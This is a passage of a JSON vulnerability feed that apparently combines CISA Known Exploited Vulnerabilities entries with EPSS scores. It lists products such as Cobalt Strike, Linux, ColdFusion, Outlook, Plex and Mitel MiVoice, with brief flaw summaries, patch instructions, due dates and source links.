exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-39197","cveId":"CVE-2022-39197","aliases":[],"kind":"vulnerability","title":"Fortra Cobalt Strike Teamserver Cross-Site Scripting (XSS) Vulnerability","summary":"Fortra Cobalt Strike contains a cross-site scripting (XSS) vulnerability in Teamserver that would allow an attacker to set a malformed username in the Beacon configuration, allowing them to execute code remotely.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Fortra","product":"Cobalt Strike","stacks":["Fortra","Cobalt Strike"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.46725,"percentile":0.98817,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-39197","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-39197 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-39197&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-39197, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-42948","cveId":"CVE-2022-42948","aliases":[],"kind":"vulnerability","title":"Fortra Cobalt Strike User Interface Remote Code Execution Vulnerability","summary":"Fortra Cobalt Strike User Interface contains an unspecified vulnerability rooted in Java Swing that may allow remote code execution.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Fortra","product":"Cobalt Strike","stacks":["Fortra","Cobalt Strike"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02706,"percentile":0.85856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-42948","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-42948 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-42948&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-42948, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-0266","cveId":"CVE-2023-0266","aliases":[],"kind":"vulnerability","title":"Linux Kernel Use-After-Free Vulnerability","summary":"Linux kernel contains a use-after-free vulnerability that allows for privilege escalation to gain ring0 access from the system user.","detail":"CISA added this entry on 2023-03-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-30","updatedAt":null,"regions":["Global"],"vendor":"Linux","product":"Kernel","stacks":["Linux kernel","Linux","Kernel"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-30","dueAt":"2023-04-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03672,"percentile":0.89577,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-0266","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-0266 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-0266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-0266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-26360","cveId":"CVE-2023-26360","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Deserialization of Untrusted Data Vulnerability","summary":"Adobe ColdFusion contains a deserialization of untrusted data vulnerability that allows for remote code execution.","detail":"CISA added this entry on 2023-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-15","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-15","dueAt":"2023-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97339,"percentile":0.99896,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-26360","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-26360 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-26360&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-26360, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41328","cveId":"CVE-2022-41328","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Path Traversal Vulnerability","summary":"Fortinet FortiOS contains a path traversal vulnerability that may allow a local privileged attacker to read and write files via crafted CLI commands.","detail":"CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-14","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-14","dueAt":"2023-04-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10682,"percentile":0.95776,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41328","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41328 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-41328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-41328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-23397","cveId":"CVE-2023-23397","aliases":[],"kind":"vulnerability","title":"Microsoft Office Outlook Privilege Escalation Vulnerability","summary":"Microsoft Office Outlook contains a privilege escalation vulnerability that allows for a NTLM Relay attack against another service to authenticate as the user.","detail":"CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Office","stacks":["Microsoft Office","Microsoft","Office"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-14","dueAt":"2023-04-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97159,"percentile":0.99893,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-23397","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-23397 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-23397&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-23397, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-24880","cveId":"CVE-2023-24880","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SmartScreen Security Feature Bypass Vulnerability","summary":"Microsoft Windows SmartScreen contains a security feature bypass vulnerability that could allow an attacker to evade Mark of the Web (MOTW) defenses via a specially crafted malicious file.","detail":"CISA added this entry on 2023-03-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-14","dueAt":"2023-04-04","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.78005,"percentile":0.9957,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-24880","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-24880 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-24880&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-24880, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5741","cveId":"CVE-2020-5741","aliases":[],"kind":"vulnerability","title":"Plex Media Server Remote Code Execution Vulnerability","summary":"Plex Media Server contains a remote code execution vulnerability that allows an attacker with access to the server administrator's Plex account to upload a malicious file via the Camera Upload feature and have the media server execute it.","detail":"CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-10","updatedAt":null,"regions":["Global"],"vendor":"Plex","product":"Media Server","stacks":["Plex Media Server","Plex","Media Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-10","dueAt":"2023-03-31","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7275,"percentile":0.99442,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5741","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5741 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-39144","cveId":"CVE-2021-39144","aliases":[],"kind":"vulnerability","title":"XStream Remote Code Execution Vulnerability","summary":"XStream contains a remote code execution vulnerability that allows an attacker to manipulate the processed input stream and replace or inject objects that result in the execution of a local command on the server. This vulnerability can affect multiple products, including but not limited to VMware Cloud Foundation.","detail":"CISA added this entry on 2023-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-10","updatedAt":null,"regions":["Global"],"vendor":"XStream","product":"XStream","stacks":["XStream"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-10","dueAt":"2023-03-31","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98124,"percentile":0.99912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-39144","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-39144 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-39144&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-39144, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-28810","cveId":"CVE-2022-28810","aliases":[],"kind":"vulnerability","title":"Zoho ManageEngine ADSelfService Plus Remote Code Execution Vulnerability","summary":"Zoho ManageEngine ADSelfService Plus contains an unspecified vulnerability allowing for remote code execution when performing a password change or reset.","detail":"CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-07","updatedAt":null,"regions":["Global"],"vendor":"Zoho","product":"ManageEngine","stacks":["Zoho ManageEngine","Zoho","ManageEngine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-07","dueAt":"2023-03-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.70966,"percentile":0.99398,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-28810","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-28810 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-28810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-28810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-33891","cveId":"CVE-2022-33891","aliases":[],"kind":"vulnerability","title":"Apache Spark Command Injection Vulnerability","summary":"Apache Spark contains a command injection vulnerability via Spark User Interface (UI) when Access Control Lists (ACLs) are enabled.","detail":"CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-07","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Spark","stacks":["Apache","Spark"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-07","dueAt":"2023-03-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93244,"percentile":0.99834,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-33891","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-33891 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-33891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-33891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-35914","cveId":"CVE-2022-35914","aliases":[],"kind":"vulnerability","title":"Teclib GLPI Remote Code Execution Vulnerability","summary":"Teclib GLPI contains a remote code execution vulnerability in the third-party library, htmlawed.","detail":"CISA added this entry on 2023-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-03-07","updatedAt":null,"regions":["Global"],"vendor":"Teclib","product":"GLPI","stacks":["Teclib","GLPI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-03-07","dueAt":"2023-03-28","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99851,"percentile":0.99961,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-35914","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-35914 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-35914&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-35914, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-36537","cveId":"CVE-2022-36537","aliases":[],"kind":"vulnerability","title":"ZK Framework AuUploader Unspecified Vulnerability","summary":"ZK Framework AuUploader servlets contain an unspecified vulnerability that could allow an attacker to retrieve the content of a file located in the web context. The ZK Framework is an open-source Java framework. This vulnerability can impact multiple products, including but not limited to ConnectWise R1Soft Server Backup Manager.","detail":"CISA added this entry on 2023-02-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-27","updatedAt":null,"regions":["Global"],"vendor":"ZK Framework","product":"AuUploader","stacks":["ZK Framework","AuUploader"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-27","dueAt":"2023-03-20","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95397,"percentile":0.99867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-36537","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-36537 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-36537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-36537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-40765","cveId":"CVE-2022-40765","aliases":[],"kind":"vulnerability","title":"Mitel MiVoice Connect Command Injection Vulnerability","summary":"The Mitel Edge Gateway component of MiVoice Connect allows an authenticated attacker with internal network access to execute commands within the context of the system.","detail":"CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-21","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiVoice Connect","stacks":["Mitel","MiVoice Connect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-21","dueAt":"2023-03-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10566,"percentile":0.95746,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-40765","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-40765 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-40765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-40765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-41223","cveId":"CVE-2022-41223","aliases":[],"kind":"vulnerability","title":"Mitel MiVoice Connect Code Injection Vulnerability","summary":"The Director component in Mitel MiVoice Connect allows an authenticated attacker with internal network access to execute code within the context of the application.","detail":"CISA added this entry on 2023-02-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2023-02-21","updatedAt":null,"regions":["Global"],"vendor":"Mitel","product":"MiVoice Connect","stacks":["Mitel","MiVoice Connect"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2023-02-21","dueAt":"2023-03-14","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10657,"percentile":0.95767,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-41223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-41223","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2023-02-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-41223 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS 